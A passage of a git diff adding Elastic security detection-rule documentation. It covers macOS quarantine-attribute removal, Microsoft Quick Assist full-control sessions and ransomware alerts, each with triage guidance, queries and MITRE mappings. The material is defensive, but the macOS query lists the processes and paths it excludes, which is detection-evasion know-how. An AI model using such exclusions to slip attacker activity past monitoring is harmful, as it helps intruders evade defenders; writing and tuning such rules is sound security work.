the file path from which the quarantine attribute was removed to assess if it is a common location for downloaded files or if it appears suspicious. +- Check the system for any recent downloads or installations that might correlate with the time of the alert to identify potential sources of the file. +- Look into the user account under which the process was executed to determine if it aligns with expected user behavior or if it might indicate unauthorized access. +- Search for any other alerts or logs related to the same process or file path to identify patterns or repeated attempts to bypass security measures. + + +*False positive analysis* + + +- System processes or legitimate applications may occasionally remove the quarantine attribute as part of their normal operation. Users can create exceptions for known safe processes by adding them to the exclusion list in the detection rule. +- Software updates or installations from trusted vendors might trigger the rule if they are not properly signed. Verify the legitimacy of the software and consider adding the specific executable path to the exclusion list if it is deemed safe. +- Custom scripts or automation tools used within an organization might remove the quarantine attribute as part of their workflow. Review these scripts to ensure they are secure and add their paths to the exclusion list to prevent false positives. +- Temporary files or directories, such as those in /private/var/folders, are already excluded to reduce noise. Ensure that any additional temporary paths used by trusted applications are similarly excluded if they are known to cause false positives. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further compromise. +- Terminate any untrusted or unsigned processes identified in the alert that are responsible for removing the quarantine attribute. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software. +- Restore any affected files from a known good backup if they have been altered or compromised. +- Review system logs and the specific file paths involved in the alert to identify any additional unauthorized changes or suspicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar activities on other macOS systems to enhance detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action == "extended_attributes_delete" and host.os.type == "macos" and process.executable != null and + (process.code_signature.trusted == false or process.code_signature.exists == false) and + not process.executable like ("/usr/bin/xattr", + "/System/*", + "/private/tmp/KSInstallAction.*/*/Install Google Software Update.app/Contents/Helpers/ksinstall", + "/Applications/CEWE Fotoschau.app/Contents/MacOS/FotoPlus", + "/Applications/.com.bomgar.scc.*/Remote Support Customer Client.app/Contents/MacOS/sdcust") and + not file.path like "/private/var/folders/*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-quick-assist-full-control-sharing-mode-enabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-quick-assist-full-control-sharing-mode-enabled.asciidoc new file mode 100644 index 0000000000..1ba98112b8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-quick-assist-full-control-sharing-mode-enabled.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-quick-assist-full-control-sharing-mode-enabled]] +=== Quick Assist Full Control Sharing Mode Enabled + +Identifies when Microsoft Quick Assist sharing mode is set to FullControl on a Windows host. This grants the remote helper full interactive control of the target device and may indicate IT help desk fraud, unauthorized remote access, or lateral movement preparation. + +*Rule type*: query + +*Rule indices*: + +* logs-system.application* +* logs-windows.forwarded* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/ +* https://attack.mitre.org/software/S1209/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Lateral Movement +* Data Source: Windows Application Event Logs +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Threat: Remote Management Tool Abuse +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Quick Assist Full Control Sharing Mode Enabled* + + +Microsoft Quick Assist is a built-in remote support tool. When a sharer grants FullControl, the helper can interact with +the desktop as if physically present. Adversaries abuse Quick Assist in help desk fraud and social engineering to gain +interactive access without deploying separate remote access software. + +Quick Assist logs these transitions in the Windows Application log under the Quick Assist provider. A `setsharingmode` +command with sharing mode `FullControl` is written to `winlog.event_data.param1`, often alongside a JSON payload that +includes `"result":"true"` when consent is granted. + + +*Possible investigation steps* + + +- Review `winlog.event_data.param1` and any related Quick Assist Application log events around `@timestamp` for + `beginsharing`, `setsharingmode`, and `endsharing` commands to reconstruct the session timeline. +- Identify the local user on `host.id` who initiated or approved the session and determine whether Quick Assist use is + expected for that user, host role, or business unit. +- Correlate with process telemetry for `QuickAssist.exe` on the same host and timeframe, including parent process, + command line, and code signature details when available. +- Check for related alerts on the same `host.id` or `user.id`, such as credential access, defense evasion, or + additional remote access activity during or shortly after the session. +- If the host is a server or privileged workstation, determine whether any follow-on actions occurred during the + FullControl window, such as new logons, service creation, or lateral movement. + + +*False positive analysis* + + +- IT help desk, managed service providers, and internal support teams legitimately use Quick Assist with FullControl + during approved troubleshooting. Confirm the session aligns with an open ticket, known support staff, and expected + host and user pairings before closing as benign. +- Before creating an exception, anchor it on the minimum confirmed workflow: `host.id`, `user.id`, and recurring + support patterns. Avoid broad exceptions on the Quick Assist provider alone. + + +*Response and remediation* + + +- If confirmed malicious, terminate the Quick Assist session, isolate the affected host when feasible, and reset + credentials for accounts used or exposed during the session. +- Preserve Application log events containing `winlog.event_data.param1` and related Quick Assist telemetry before + remediation. +- Review whether Quick Assist should remain enabled organization-wide or be restricted via policy for high-value hosts. +- Hunt for additional hosts where the same remote helper pattern or concurrent Quick Assist FullControl sessions + occurred. + +==== Setup + + + +*Setup* + + +Windows Application event log collection must be enabled via the Elastic Agent System integration to ingest Application log events. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and winlog.channel:"Application" and event.provider:"Quick Assist" and event.code:"0" and + winlog.event_data.param1:(*FullControl* and *setsharingmode*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-detected-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-detected-elastic-defend.asciidoc new file mode 100644 index 0000000000..8f7027413e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-detected-elastic-defend.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-34-ransomware-detected-elastic-defend]] +=== Ransomware - Detected - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for ransomware are received. Enabling this rule allows you to immediately begin investigating your Endpoint ransomware alerts. This rule identifies Elastic Defend ransomware detections only, and does not include prevention alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/ransomware +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Ransomware - Detected - Elastic Defend* + + +Ransomware protection adds a dedicated layer of detection and prevention against ransomware attacks. Our Ransomware protection consists of 3 subtypes: `behavioral`, `canary files`, and `MBR`. Our behavioral ransomware protection monitors the low level file system activity of all processes on the system to identify generic file encryption techniques. We include signals such as file header information, entropy calculations, known and suspicious extensions, and more to make verdicts. Canary files serve as a high confidence short-cut to other behavior techniques. Our endpoint places hidden files in select directories on the system and will trigger on any process attempting to tamper with the files. Finally, we protect the Master Boot Record (MBR) with our kernel minifilter driver to prevent this type of ransomware attack. + +Generally, our ransomware protection is tuned to have extremely low false positives rates. We understand how alarming and disruptive ransomware false positives can be which has factored into its design goals. More likely than not, if this protection fires, it is a true positive. However, certain categories of software do behave similarly to ransomware from the perspective of this protection. That includes installers and backup software, which can make a large number of modifications to documents (especially during a restore operation). Further, encryption or system utilities which modify the system’s MBR may also trigger our MBR protection. + + +*Possible investigation steps* + + +- The `Ransomware.files` field provides details about files modifications (paths, entropy, extension and file headers). +- Investigate the metadata and the activity of the process or processes that triggered the alert. +- Assess whether this activity prevalent in the environment by looking for similar occurrences across hosts. +- Some Ransomware attacks tend to execute the operation on multiple hosts at the same time for maximum impact. +- Verify the activity of the `user.name` associated with the alert (local or remote actity, privileged or standard user). +- Quickly identifying the compromised credentials is critical to remediate Ransomware attacks. +- Verify if there are any other alert types (Behavior or Memory Threat) associated with the same host or user or process within the same time. + + +*False positive analysis* + + +- Installers and backup software, which can make a large number of modifications to documents (especially during a restore operation). +- Encryption or system utilities which modify the system’s MBR may also trigger our MBR protection. + +*Response and Remediation* + + +- Immediate Isolation and Containment: Quickly disconnect affected systems from the network, including both wired and wireless connections, to prevent the ransomware from spreading. This includes disabling network cards and removing network cables if necessary, while keeping the systems powered on for forensic purposes. +- Activate Incident Response Team and Plan: Assemble your incident response team and implement your incident response plan. Contact necessary stakeholders including IT security, legal counsel, and executive management. Document all actions taken from the moment of detection. +Initial Assessment and Evidence Preservation: Identify the scope of the infection and the type of ransomware. +- Take screenshots of ransom messages and create disk images of affected systems. Record all observable indicators of compromise (IOCs) before any remediation begins. +- Business Impact Analysis: Evaluate which critical business operations are affected and establish priority systems for recovery. Determine regulatory reporting requirements based on the type of data potentially compromised. +- Secure Backup Verification: Identify and verify the integrity of your latest clean backups. Check backup systems for potential compromise and ensure they were disconnected during the attack to prevent encryption of backup data. +- System Recovery Preparation: Build a clean environment for recovery operations, including secured networks and validated clean systems. Prepare tools and resources needed for system restoration. +- Malware Eradication: Remove the ransomware from infected systems using appropriate security tools. This may involve complete system rebuilds from known clean sources rather than attempting to clean infected systems. +- Data Restoration: Begin restoring systems from verified clean backups, starting with the most critical business operations. Implement additional security controls and monitoring during the restoration process. +- Security Posture Strengthening: Update all security systems including firewalls, antivirus, and endpoint protection. Reset all credentials across the organization and implement additional access controls like multi-factor authentication where needed. +- Post-Incident Activities: Conduct a detailed post-incident analysis to identify how the ransomware entered the environment. Update security policies and incident response plans based on lessons learned, and provide additional security awareness training to staff. + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : ransomware and (event.type : allowed or (event.type: denied and event.outcome: failure)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..99985a3cfd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-detected-elastic-endgame.asciidoc @@ -0,0 +1,109 @@ +[[prebuilt-rule-8-19-34-ransomware-detected-elastic-endgame]] +=== Ransomware - Detected - Elastic Endgame + +Elastic Endgame detected ransomware. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Ransomware - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution designed to detect and respond to threats like ransomware by analyzing system events and behaviors. Adversaries exploit vulnerabilities to deploy ransomware, encrypting files and demanding payment. The detection rule identifies ransomware activity by monitoring specific alert types and event actions, flagging critical threats for immediate investigation. + + +*Possible investigation steps* + + +- Review the alert details in Elastic Endgame by clicking the icon in the event.module column or the link in the rule.reference column to gather more context about the detected ransomware event. +- Analyze the event.kind:alert and event.module:endgame fields to confirm the alert's origin and ensure it aligns with known ransomware activity. +- Examine the event.action:ransomware_event and endgame.event_subtype_full:ransomware_event fields to identify the specific actions or behaviors that triggered the alert. +- Investigate the affected systems and endpoints to determine the scope of the ransomware impact, focusing on any encrypted files or unusual system behaviors. +- Check for any additional alerts or related events in the Elastic Endgame logs that might indicate lateral movement or further malicious activity associated with the ransomware. + + +*False positive analysis* + + +- Routine backup operations can sometimes mimic ransomware behavior by accessing and modifying large numbers of files. Users should review backup schedules and processes to ensure they are not triggering alerts. +- Legitimate software updates or installations may be flagged as ransomware events due to their file modification activities. Users can create exceptions for trusted software update processes to prevent false positives. +- Automated file encryption tools used for legitimate purposes, such as data protection, might trigger ransomware alerts. Users should whitelist these tools if they are verified and necessary for business operations. +- Security testing or penetration testing activities that simulate ransomware attacks can be mistaken for real threats. Ensure that these activities are coordinated with the security team and excluded from detection rules during testing periods. +- Frequent alerts from specific non-critical systems or applications that are known to exhibit similar behaviors should be reviewed and, if deemed safe, added to an exception list to reduce noise. + + +*Response and remediation* + + +- Isolate the affected systems immediately to prevent the spread of ransomware to other networked devices. Disconnect them from the network and any shared storage. +- Identify and terminate any malicious processes associated with the ransomware event using endpoint detection and response tools. +- Restore encrypted files from the most recent clean backup. Ensure backups are scanned for malware before restoration to avoid reinfection. +- Conduct a thorough forensic analysis to determine the initial point of entry and the scope of the compromise. This will help in understanding how the ransomware was deployed. +- Apply security patches to address any vulnerabilities exploited by the ransomware. Ensure all systems are updated to prevent similar attacks. +- Enhance monitoring and detection capabilities by configuring alerts for similar event patterns and behaviors identified in the query fields. +- Report the incident to relevant authorities and stakeholders as per organizational policy and legal requirements, ensuring compliance with any regulatory obligations. + +==== Setup + + + +*Setup* + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:ransomware_event or endgame.event_subtype_full:ransomware_event) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-prevented-elastic-defend.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-prevented-elastic-defend.asciidoc new file mode 100644 index 0000000000..011dc63f04 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-prevented-elastic-defend.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-ransomware-prevented-elastic-defend]] +=== Ransomware - Prevented - Elastic Defend + +Generates a detection alert each time an Elastic Defend alert for ransomware are received. Enabling this rule allows you to immediately begin investigating your Endpoint ransomware alerts. This rule identifies Elastic Defend ransomware preventions only, and does not include detection only alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.alerts-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://github.com/elastic/protections-artifacts/tree/main/ransomware +* https://docs.elastic.co/en/integrations/endpoint + +*Tags*: + +* Data Source: Elastic Defend +* Tactic: Impact +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Domain: Endpoint + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Ransomware - Prevented - Elastic Defend* + + +Ransomware protection adds a dedicated layer of detection and prevention against ransomware attacks. Our Ransomware protection consists of 3 subtypes: `behavioral`, `canary files`, and `MBR`. Our behavioral ransomware protection monitors the low level file system activity of all processes on the system to identify generic file encryption techniques. We include signals such as file header information, entropy calculations, known and suspicious extensions, and more to make verdicts. Canary files serve as a high confidence short-cut to other behavior techniques. Our endpoint places hidden files in select directories on the system and will trigger on any process attempting to tamper with the files. Finally, we protect the Master Boot Record (MBR) with our kernel minifilter driver to prevent this type of ransomware attack. + +Generally, our ransomware protection is tuned to have extremely low false positives rates. We understand how alarming and disruptive ransomware false positives can be which has factored into its design goals. More likely than not, if this protection fires, it is a true positive. However, certain categories of software do behave similarly to ransomware from the perspective of this protection. That includes installers and backup software, which can make a large number of modifications to documents (especially during a restore operation). Further, encryption or system utilities which modify the system’s MBR may also trigger our MBR protection. + + +*Possible investigation steps* + + +- The `Ransomware.files` field provides details about files modification (paths, entropy, extension and file headers). +- Investigate the metadata and the activity of the process or processes that triggered the alert. +- Assess whether this activity is prevalent in your environment by looking for similar occurrences across hosts. +- Some Ransomware attacks tend to execute the operation on multiple hosts at the same time for maximum impact. +- Verify the activity of the `user.name` associated with the alert (local or remote actity, privileged or standard user). +- Quickly identifying the compromised credentials is critical to remediate Ransomware attacks. +- Verify if there are any other alert types (Behavior or Memory Threat) associated with the same host or user or process within the same time. + + +*False positive analysis* + + +- Installers and backup software, which can make a large number of modifications to documents (especially during a restore operation). +- Encryption or system utilities which modify the system’s MBR may also trigger our MBR protection. + + +*Response and Remediation* + + +- Immediate Isolation and Containment: Quickly disconnect affected systems from the network, including both wired and wireless connections, to prevent the ransomware from spreading. This includes disabling network cards and removing network cables if necessary, while keeping the systems powered on for forensic purposes. +- Activate Incident Response Team and Plan: Assemble your incident response team and implement your incident response plan. Contact necessary stakeholders including IT security, legal counsel, and executive management. Document all actions taken from the moment of detection. +Initial Assessment and Evidence Preservation: Identify the scope of the infection and the type of ransomware. +- Take screenshots of ransom messages and create disk images of affected systems. Record all observable indicators of compromise (IOCs) before any remediation begins. +- Business Impact Analysis: Evaluate which critical business operations are affected and establish priority systems for recovery. Determine regulatory reporting requirements based on the type of data potentially compromised. +- Secure Backup Verification: Identify and verify the integrity of your latest clean backups. Check backup systems for potential compromise and ensure they were disconnected during the attack to prevent encryption of backup data. +- System Recovery Preparation: Build a clean environment for recovery operations, including secured networks and validated clean systems. Prepare tools and resources needed for system restoration. +- Malware Eradication: Remove the ransomware from infected systems using appropriate security tools. This may involve complete system rebuilds from known clean sources rather than attempting to clean infected systems. +- Data Restoration: Begin restoring systems from verified clean backups, starting with the most critical business operations. Implement additional security controls and monitoring during the restoration process. +- Security Posture Strengthening: Update all security systems including firewalls, antivirus, and endpoint protection. Reset all credentials across the organization and implement additional access controls like multi-factor authentication where needed. +- Post-Incident Activities: Conduct a detailed post-incident analysis to identify how the ransomware entered the environment. Update security policies and incident response plans based on lessons learned, and provide additional security awareness training to staff. + + +==== Setup + + + +*Setup* + + + +*Elastic Defend Alerts* + +This rule is designed to capture specific alerts generated by Elastic Defend. + +To capture all the Elastic Defend alerts, it is recommended to use all of the Elastic Defend feature-specific protection rules: + +Behavior - Detected - Elastic Defend (UUID: 0f615fe4-eaa2-11ee-ae33-f661ea17fbce) +Behavior - Prevented - Elastic Defend (UUID: eb804972-ea34-11ee-a417-f661ea17fbce) +Malicious File - Detected - Elastic Defend (UUID: f2c3caa6-ea34-11ee-a417-f661ea17fbce) +Malicious File - Prevented - Elastic Defend (UUID: f87e6122-ea34-11ee-a417-f661ea17fbce) +Memory Threat - Detected - Elastic Defend (UUID: 017de1e4-ea35-11ee-a417-f661ea17fbce) +Memory Threat - Prevented - Elastic Defend (UUID: 06f3a26c-ea35-11ee-a417-f661ea17fbce) +Ransomware - Detected - Elastic Defend (UUID: 0c74cd7e-ea35-11ee-a417-f661ea17fbce) +Ransomware - Prevented - Elastic Defend (UUID: 10f3d520-ea35-11ee-a417-f661ea17fbce) + +To avoid generating duplicate alerts, you should enable either all feature-specific protection rules or the Endpoint Security (Elastic Defend) rule (UUID: 9a1a2dae-0b5f-4c3d-8305-a268d404c306). + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind : alert and event.code : ransomware and event.type : denied and event.outcome : success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..9735bd51a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ransomware-prevented-elastic-endgame.asciidoc @@ -0,0 +1,111 @@ +[[prebuilt-rule-8-19-34-ransomware-prevented-elastic-endgame]] +=== Ransomware - Prevented - Elastic Endgame + +Elastic Endgame prevented ransomware. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Ransomware - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution designed to prevent ransomware by monitoring and analyzing system events. Adversaries exploit vulnerabilities to deploy ransomware, encrypting files and demanding payment. The detection rule identifies ransomware activities by analyzing alerts and prevention events, focusing on specific actions and event types, thus enabling timely intervention and threat mitigation. + + +*Possible investigation steps* + + +- Review the alert details in the Elastic Endgame console by clicking the Elastic Endgame icon in the event.module column or the link in the rule.reference column to gather more context about the specific prevention event. +- Examine the event.kind field to confirm that the alert is indeed an alert type and verify the event.module is set to endgame, ensuring the alert is generated by the Elastic Endgame module. +- Check the endgame.metadata.type field to ensure it is marked as prevention, indicating that the ransomware activity was successfully blocked. +- Investigate the event.action and endgame.event_subtype_full fields to identify the specific ransomware event that triggered the alert, which can provide insights into the type of ransomware activity that was attempted. +- Correlate the alert with other security events and logs from the same timeframe to identify any related activities or anomalies that might indicate a broader attack attempt or compromise. +- Assess the affected system(s) for any signs of compromise or residual malicious activity, ensuring that the ransomware prevention was comprehensive and no other threats remain. + + +*False positive analysis* + + +- Routine software updates or installations may trigger alerts as they can mimic ransomware behavior. Users should review these events and create exceptions for trusted software update processes. +- Backup operations that involve large-scale file modifications or encryptions might be misidentified as ransomware activities. Exclude known backup software and processes from triggering alerts. +- Security testing tools or scripts designed to simulate ransomware for training or assessment purposes can cause false positives. Ensure these tools are whitelisted and their activities are documented. +- Automated file encryption services used for legitimate purposes, such as data protection, may be flagged. Identify and exclude these services from the rule to prevent unnecessary alerts. +- Frequent alerts from specific applications or processes that are known to be safe should be analyzed, and exceptions should be created to reduce noise and focus on genuine threats. + + +*Response and remediation* + + +- Isolate the affected system immediately to prevent further spread of the ransomware. Disconnect it from the network and any shared drives. +- Use Elastic Endgame to identify and terminate any malicious processes associated with the ransomware event to halt encryption activities. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to remove any remaining malicious files or components. +- Restore encrypted files from the most recent clean backup to ensure data integrity and minimize data loss. +- Review and update endpoint protection settings and policies in Elastic Endgame to enhance detection and prevention capabilities against similar ransomware threats. +- Notify the IT security team and relevant stakeholders about the incident for awareness and further investigation into potential vulnerabilities exploited. +- Document the incident details, including the response actions taken, to improve future incident response strategies and facilitate any necessary reporting or compliance requirements. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:ransomware_event or endgame.event_subtype_full:ransomware_event) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rapid7-threat-command-cves-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rapid7-threat-command-cves-correlation.asciidoc new file mode 100644 index 0000000000..2e52f525a7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-rapid7-threat-command-cves-correlation.asciidoc @@ -0,0 +1,107 @@ 